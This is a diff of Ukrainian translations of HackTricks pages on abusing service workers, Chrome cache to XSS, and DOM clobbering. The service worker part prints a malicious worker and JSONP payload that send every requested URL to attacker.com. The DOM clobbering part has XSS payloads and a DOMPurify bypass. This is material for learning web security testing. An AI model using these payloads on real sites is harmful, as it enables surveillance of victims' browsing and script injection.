* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,18 +1,21 @@
# Зловживання службовцями служби
# Зловживання службовими працівниками
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи телеграм**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Група з безпеки Try Hard**
**Спробуйте Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -22,31 +25,31 @@
## Основна інформація
**Службовець служби** - це скрипт, який виконується вашим браузером в фоновому режимі, окремо від будь-якої веб-сторінки, що дозволяє використовувати функції, які не потребують веб-сторінки або взаємодії з користувачем, тим самим покращуючи можливості **офлайну та фонову обробку**. Детальну інформацію про службовців служби можна знайти [тут](https://developers.google.com/web/fundamentals/primers/service-workers). Використовуючи службовців служби вразливого веб-домену, зловмисники можуть отримати контроль над взаємодією жертви з усіма сторінками в межах цього домену.
**Службовий працівник** — це скрипт, який виконується вашим браузером у фоновому режимі, окремо від будь-якої веб-сторінки, що дозволяє використовувати функції, які не потребують веб-сторінки або взаємодії з користувачем, тим самим покращуючи можливості **офлайн-обробки та обробки у фоновому режимі**. Детальну інформацію про службових працівників можна знайти [тут](https://developers.google.com/web/fundamentals/primers/service-workers). Зловживаючи службовими працівниками в уразливому веб-домені, зловмисники можуть отримати контроль над взаємодіями жертви з усіма сторінками в цьому домені.
### Перевірка наявних службовців служби
### Перевірка наявних службових працівників
Існуючі службовці служби можна перевірити в розділі **Службовці служби** в **Вкладці Застосунки** в **Інструментах розробника**. Інший метод - відвідати [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) для більш детального перегляду.
Наявні службові працівники можуть бути перевірені в розділі **Службові працівники** на вкладці **Застосунок** в **Інструментах розробника**. Інший метод — відвідати [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) для більш детального перегляду.
### Сповіщення Push
### Push-сповіщення
**Дозволи на сповіщення Push** безпосередньо впливають на можливість **службовця служби** спілкуватися з сервером без прямої взаємодії з користувачем. Якщо дозволи відхилені, це обмежує потенціал службовця служби становити постійну загрозу. Навпаки, надання дозволів збільшує ризики безпеки, дозволяючи отримувати та виконувати можливі експлойти.
**Дозволи на push-сповіщення** безпосередньо впливають на здатність **службового працівника** спілкуватися з сервером без прямої взаємодії з користувачем. Якщо дозволи відхилені, це обмежує потенціал службового працівника становити постійну загрозу. Навпаки, надання дозволів підвищує ризики безпеки, дозволяючи отримувати та виконувати потенційні експлойти.
## Атака на створення службовця служби
## Атака створення службового працівника
Для використання цієї вразливості вам потрібно знайти:
Щоб скористатися цією вразливістю, вам потрібно знайти:
* Спосіб **завантаження довільних JS** файлів на сервер та **XSS для завантаження службовця служби** завантаженого JS файлу
* **Вразливий запит JSONP**, де ви можете **маніпулювати виводом (з довільним JS кодом)** та **XSS** для **завантаження JSONP з навантаженням**, яке **завантажить зловмисний службовець служби**.
* Спосіб **завантажити довільні JS** файли на сервер і **XSS для завантаження службового працівника** завантаженого JS файлу
* **Уразливий JSONP запит**, де ви можете **маніпулювати виходом (з довільним JS кодом)** і **XSS** для **завантаження JSONP з корисним навантаженням**, яке **завантажить шкідливого службового працівника**.
У наступному прикладі я покажу код для **реєстрації нового службовця служби**, який буде слухати подію `fetch` та **надсилати на сервер зловмисника кожен отриманий URL** (це код, який вам потрібно **завантажити** на **сервер** або завантажити через **вразливу відповідь JSONP**):
У наступному прикладі я збираюся представити код для **реєстрації нового службового працівника**, який буде слухати подію `fetch` і **надсилати на сервер зловмисника кожну отриману URL** (це код, який вам потрібно **завантажити** на **сервер** або завантажити через **уразливу JSONP** відповідь):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
Це код, який **зареєструє робочого** (код, який ви повинні виконати, використовуючи **XSS**). У цьому випадку буде відправлено **GET**-запит на сервер **зловмисника**, щоб **повідомити**, чи було **успішно зареєстровано** робочого.
І це код, який **зареєструє робітника** (код, який ви повинні мати можливість виконати, зловживаючи **XSS**). У цьому випадку **GET** запит буде надіслано на сервер **зловмисника**, **повідомляючи**, чи була **реєстрація** служби робітника успішною, чи ні:
```javascript
<script>
window.addEventListener('load', function() {
@ -64,17 +67,17 @@ xhttp2.send();
});
</script>
```
У випадку зловживання вразливою точкою доступу JSONP ви повинні помістити значення всередину `var sw`. Наприклад:
У випадку зловживання вразливим JSONP кінцевим пунктом ви повинні помістити значення всередину `var sw`. Наприклад:
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Існує **C2**, присвячений **експлуатації службових робітників**, під назвою [**Shadow Workers**](https://shadow-workers.github.io), який буде дуже корисним для зловживання цими вразливостями.
Є **C2**, присвячений **експлуатації Service Workers**, під назвою [**Shadow Workers**](https://shadow-workers.github.io), який буде дуже корисним для зловживання цими вразливостями.
Директива **кешування на 24 години** обмежує термін життя зловживаного або компромітованого **службового робітника (SW)** принаймні до 24 годин після виправлення вразливості XSS, за умови онлайн-статусу клієнта. Для мінімізації вразливості оператори сайтів можуть знизити час життя (TTL) скрипта SW. Розробникам також рекомендується створити [**вимикач службового робітника**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) для швидкого вимкнення.
**Директива кешу на 24 години** обмежує термін дії шкідливого або скомпрометованого **service worker (SW)** максимум 24 години після виправлення вразливості XSS, за умови онлайн-статусу клієнта. Щоб мінімізувати вразливість, оператори сайтів можуть знизити Time-To-Live (TTL) скрипта SW. Розробникам також рекомендується створити [**kill-switch для service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) для швидкої деактивації.
## Зловживання `importScripts` в SW через DOM Clobbering
## Зловживання `importScripts` у SW через DOM Clobbering
Функція **`importScripts`**, викликана зі службового робітника, може **імпортувати скрипт з іншого домену**. Якщо цю функцію викликають з **параметром, який зловмисник може** змінити, він зможе **імпортувати JS-скрипт зі свого домену** та отримати XSS.
Функція **`importScripts`**, викликана з Service Worker, може **імпортувати скрипт з іншого домену**. Якщо ця функція викликається з використанням **параметра, який атакуючий може** змінити, він зможе **імпортувати JS-скрипт зі свого домену** і отримати XSS.
**Це навіть обходить захист CSP.**
@ -94,17 +97,17 @@ let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
### З використанням DOM Clobbering
### З DOM Clobbering
Для отримання додаткової інформації про те, що таке DOM Clobbering, перевірте:
Для отримання додаткової інформації про те, що таке DOM Clobbering, перегляньте:
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
Якщо URL/домен, де SW використовується для виклику **`importScripts`**, **знаходиться всередині елемента HTML**, то **можливо змінити його за допомогою DOM Clobbering**, щоб SW **завантажити скрипт з вашого власного домену**.
Якщо URL/домен, який SW використовує для виклику **`importScripts`**, знаходиться **всередині HTML-елемента**, **можливо модифікувати його через DOM Clobbering**, щоб SW **завантажив скрипт з вашого власного домену**.
Для прикладу перевірте посилання на джерело.
Для прикладу цього перегляньте посилання на довідку.
## Посилання
@ -116,14 +119,17 @@ self.importScripts(host + "/sw_extra.js");
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
* Ви працюєте в **кібербезпецівій компанії**? Хочете побачити, як ваша **компанія рекламується в HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}

View file

@ -1,37 +1,56 @@
# Кеш Chrome для XSS
# Chrome Cache to XSS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити вашу **компанію в рекламі на HackTricks**? або хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Дізнайтеся про [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репо hacktricks**](https://github.com/carlospolop/hacktricks) **та** [**репо hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Детальніші відомості [**у цьому описі**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
Більш детальна інформація [**в цьому звіті**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
Техніка, яка обговорюється тут, передбачає розуміння поведінки та взаємодії двох основних типів кешу: **кешування back/forward (bfcache)** та **дискового кешу**. Кеш bfcache, який зберігає повний знімок сторінки, включаючи купу JavaScript, має пріоритет перед дисковим кешем для навігації back/forward через здатність зберігати більш повний знімок. Дисковий кеш, навпаки, зберігає ресурси, отримані з мережі, без включення купи JavaScript і використовується для навігації back/forward для зменшення витрат на зв'язок. Цікавою особливістю дискового кешу є включення ресурсів, отриманих за допомогою `fetch`, що означає, що доступні ресурси URL будуть відображені браузером з кешу.
Техніка, обговорювана тут, включає розуміння поведінки та взаємодії двох основних типів кешу: **back/forward cache (bfcache)** та **disk cache**. Bfcache, який зберігає повну знімок сторінки, включаючи JavaScript heap, має пріоритет над disk cache для навігацій назад/вперед через свою здатність зберігати більш комплексний знімок. Disk cache, навпаки, зберігає ресурси, отримані з вебу, не включаючи JavaScript heap, і використовується для навігацій назад/вперед, щоб зменшити витрати на зв'язок. Цікавим аспектом disk cache є його включення ресурсів, отриманих за допомогою `fetch`, що означає, що ресурси URL, до яких було отримано доступ, будуть відображені браузером з кешу.
### Ключові моменти:
- **Bfcache** має пріоритет перед дисковим кешем у навігації back/forward.
- Щоб скористатися сторінкою, збереженою в дисковому кеші замість bfcache, останній повинен бути вимкнений.
- **Bfcache** має пріоритет над disk cache у навігаціях назад/вперед.
- Щоб використовувати сторінку, збережену в disk cache, замість bfcache, останній повинен бути вимкнений.
### Вимкнення bfcache:
За замовчуванням Puppeteer вимикає bfcache, відповідно до умов, вказаних у документації Chromium. Один з ефективних методів вимкнення bfcache - використання `RelatedActiveContentsExist`, досягнуте відкриттям сторінки за допомогою `window.open()`, яка зберігає посилання на `window.opener`.
За замовчуванням Puppeteer вимикає bfcache, що відповідає умовам, зазначеним у документації Chromium. Один із ефективних методів вимкнення bfcache - це використання `RelatedActiveContentsExist`, досягаючи цього шляхом відкриття сторінки з `window.open()`, яка зберігає посилання на `window.opener`.
### Відтворення поведінки:
1. Відвідайте веб-сторінку, наприклад, `https://example.com`.
2. Виконайте `open("http://spanote.seccon.games:3000/api/token")`, що призводить до відповіді сервера зі статусом 500.
3. У відкритій вкладці перейдіть на `http://spanote.seccon.games:3000/`. Ця дія кешує відповідь `http://spanote.seccon.games:3000/api/token` як дисковий кеш.
4. Використовуйте `history.back()`, щоб повернутися назад. Ця дія призводить до відображення кешованої відповіді JSON на сторінці.
2. Виконайте `open("http://spanote.seccon.games:3000/api/token")`, що призводить до відповіді сервера з кодом статусу 500.
3. У новій вкладці перейдіть на `http://spanote.seccon.games:3000/`. Ця дія кешує відповідь `http://spanote.seccon.games:3000/api/token` як disk cache.
4. Використовуйте `history.back()`, щоб повернутися назад. Ця дія призводить до відображення кешованої JSON-відповіді на сторінці.
Підтвердження використання дискового кешу можна підтвердити за допомогою DevTools у Google Chrome.
Перевірка того, що disk cache був використаний, може бути підтверджена за допомогою DevTools у Google Chrome.
Для отримання додаткових відомостей про bfcache та дисковий кеш, див. посилання на [web.dev про bfcache](https://web.dev/i18n/en/bfcache/) та [документи про дизайн дискового кешу Chromium](https://www.chromium.org/developers/design-documents/network-stack/disk-cache) відповідно.
Для отримання додаткової інформації про bfcache та disk cache посилання можна знайти на [web.dev про bfcache](https://web.dev/i18n/en/bfcache/) та [документах дизайну Chromium про disk cache](https://www.chromium.org/developers/design-documents/network-stack/disk-cache/), відповідно.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,27 +1,30 @@
# Dom Clobbering
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Ви працюєте в **кібербезпеці компанії**? Хочете побачити, як ваша **компанія рекламується на HackTricks**? або ви хочете мати доступ до **останньої версії PEASS або завантажити HackTricks у форматі PDF**? Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* **Приєднуйтесь до** [**💬**](https://emojipedia.org/speech-balloon/) [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за мною на **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**репозиторію hacktricks**](https://github.com/carlospolop/hacktricks) **і** [**репозиторію hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## **Основи**
Можливо створити **глобальні змінні всередині контексту JS** з атрибутами **`id`** та **`name`** в HTML тегах.
Можливо генерувати **глобальні змінні в контексті JS** з атрибутами **`id`** та **`name`** в HTML тегах.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Лише** певні елементи можуть використовувати атрибут **name**, щоб замінити глобальні змінні, вони: `embed`, `form`, `iframe`, `image`, `img` та `object`.
**Тільки** певні елементи можуть використовувати **атрибут name** для клобберингу глобальних змінних, це: `embed`, `form`, `iframe`, `image`, `img` та `object`.
Цікаво, коли ви використовуєте елемент **form** для **заміни** змінної, ви отримаєте значення **`toString`** самого елемента: `[object HTMLFormElement]`, але з **anchor** **`toString`** буде **`href`** якоря. Тому, якщо ви використовуєте тег **`a`** для **заміни**, ви можете **контролювати** **значення**, коли воно **обробляється як рядок**:
Цікаво, що коли ви використовуєте **елемент форми** для **клобберингу** змінної, ви отримаєте **`toString`** значення самого елемента: `[object HTMLFormElement]`, але з **якорем** **`toString`** буде значення якоря **`href`**. Тому, якщо ви клобберите за допомогою **`a`** тегу, ви можете **контролювати** **значення**, коли воно **обробляється як рядок**:
```html
<a href="controlled string" id=x></a>
<script>
@ -30,7 +33,7 @@ console.log(x);//controlled string
```
### Масиви та атрибути
Також можливо **переповнити масив** та **атрибути об'єкта**:
Також можливо **перезаписати масив** та **атрибути об'єкта**:
```html
<a id=x>
<a id=x name=y href=controlled>
@ -39,7 +42,7 @@ console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Для заміни **третього атрибуту** (наприклад, x.y.z), вам потрібно використовувати **`form`**:
Щоб знищити **третій атрибут** (наприклад, x.y.z), вам потрібно використовувати **`form`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
@ -47,17 +50,17 @@ console.log(x.y)//controlled
alert(x.y.z.value)//controlled
</script>
```
Перезапис атрибутів є **складнішим, але все ще можливим**, використовуючи iframes:
Clobbering більше атрибутів є **більш складним, але все ще можливим**, використовуючи iframes:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
Тег стилю використовується для **надання достатнього часу iframe для відображення**. Без нього ви побачите сповіщення про **невизначеність**.
Тег стилю використовується для **надання достатньо часу для рендерингу iframe**. Без нього ви отримаєте сповіщення про **невизначене**.
{% endhint %}
Для перезапису глибоких атрибутів, ви можете використовувати **iframes з кодуванням html** таким чином:
Щоб перекрити глибші атрибути, ви можете використовувати **iframes з html-кодуванням** таким чином:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
@ -67,7 +70,7 @@ alert(a.b.c.d.e)//controlled
```
### **Обхід фільтрації**
Якщо фільтр **перебирає** **властивості** вузла за допомогою чогось на зразок `document.getElementByID('x').attributes`, ви можете **перезаписати** властивість **`.attributes`** та **порушити фільтр**. Інші властивості DOM, такі як **`tagName`**, **`nodeName`** або **`parentNode`** та інші, також можна **перезаписати**.
Якщо фільтр **перебирає** **властивості** вузла, використовуючи щось на зразок `document.getElementByID('x').attributes`, ви можете **перезаписати** атрибут **`.attributes`** і **зламати фільтр**. Інші властивості DOM, такі як **`tagName`**, **`nodeName`** або **`parentNode`** та інші також є **перезаписуваними**.
```html
<form id=x></form>
<form id=y>
@ -78,17 +81,17 @@ console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Перезапис `window.someObject`**
## **Клобберинг `window.someObject`**
У JavaScript часто зустрічається:
В JavaScript часто можна зустріти:
```javascript
var someObject = window.someObject || {};
```
Маніпулюючи HTML на сторінці, можна перевизначити `someObject` за допомогою вузла DOM, що потенційно вводить уразливості безпеки. Наприклад, можна замінити `someObject` на елемент якоря, що вказує на шкідливий скрипт:
Маніпулювання HTML на сторінці дозволяє перезаписати `someObject` з DOM-елементом, що потенційно вводить уразливості безпеки. Наприклад, ви можете замінити `someObject` на елемент посилання, що вказує на шкідливий скрипт:
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
```
У вразливому коді, такому як:
В уразливому коді, наприклад:
```html
<script>
window.onload = function(){
@ -99,27 +102,27 @@ document.body.appendChild(script);
};
</script>
```
Цей метод використовує джерело скрипта для виконання небажаного коду.
Цей метод експлуатує джерело скрипта для виконання небажаного коду.
**Хитрість**: **`DOMPurify`** дозволяє використовувати протокол **`cid:`**, який **не кодує подвійні лапки в URL**. Це означає, що ви можете **впровадити закодовану подвійну лапку, яка буде розкодована під час виконання**. Тому впровадження чогось подібного до **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** зробить HTML закодоване `&quot;` **розкодованим під час виконання** та **вибратися** зі значення атрибуту для **створення** події **`onerror`**.
**Трюк**: **`DOMPurify`** дозволяє використовувати протокол **`cid:`**, який **не кодує URL подвійні лапки**. Це означає, що ви можете **впровадити закодовану подвійні лапки, яка буде декодована під час виконання**. Тому, впроваджуючи щось на кшталт **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`**, HTML закодоване `&quot;` буде **декодовано під час виконання** і **вийде** з значення атрибута, щоб **створити** подію **`onerror`**.
Ще одна техніка використовує елемент **`form`**. Деякі клієнтські бібліотеки перевіряють атрибути новоствореного елемента форми для їх очищення. Однак, додавши `input` з `id=attributes` всередині форми, ви фактично перезаписуєте властивість атрибутів, запобігаючи санітару отримати доступ до фактичних атрибутів.
Інша техніка використовує елемент **`form`**. Деякі бібліотеки на стороні клієнта перевіряють атрибути новоствореного елемента форми, щоб очистити їх. Однак, додавши `input` з `id=attributes` всередині форми, ви ефективно перезаписуєте властивість атрибутів, запобігаючи санітайзеру доступ до фактичних атрибутів.
Ви можете [**знайти приклад цього типу clobbering у цьому описі CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
Ви можете [**знайти приклад цього типу клобберингу в цьому CTF звіті**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Перезапис об'єкта документу
## Клобберинг об'єкта документа
Згідно з документацією, можливо перезаписати атрибути об'єкта документу за допомогою DOM Clobbering:
Згідно з документацією, можливо перезаписати атрибути об'єкта документа, використовуючи DOM Clobbering:
> Інтерфейс [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [підтримує іменовані властивості](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Підтримувані імена властивостей об'єкта [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document у будь-який момент складаються з наступного, в [порядку дерева](https://dom.spec.whatwg.org/#concept-tree-order) відповідно до елемента, який їх вніс, ігноруючи пізніші дублікати, і зі значеннями від атрибутів [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute), коли той самий елемент вносить обидва:
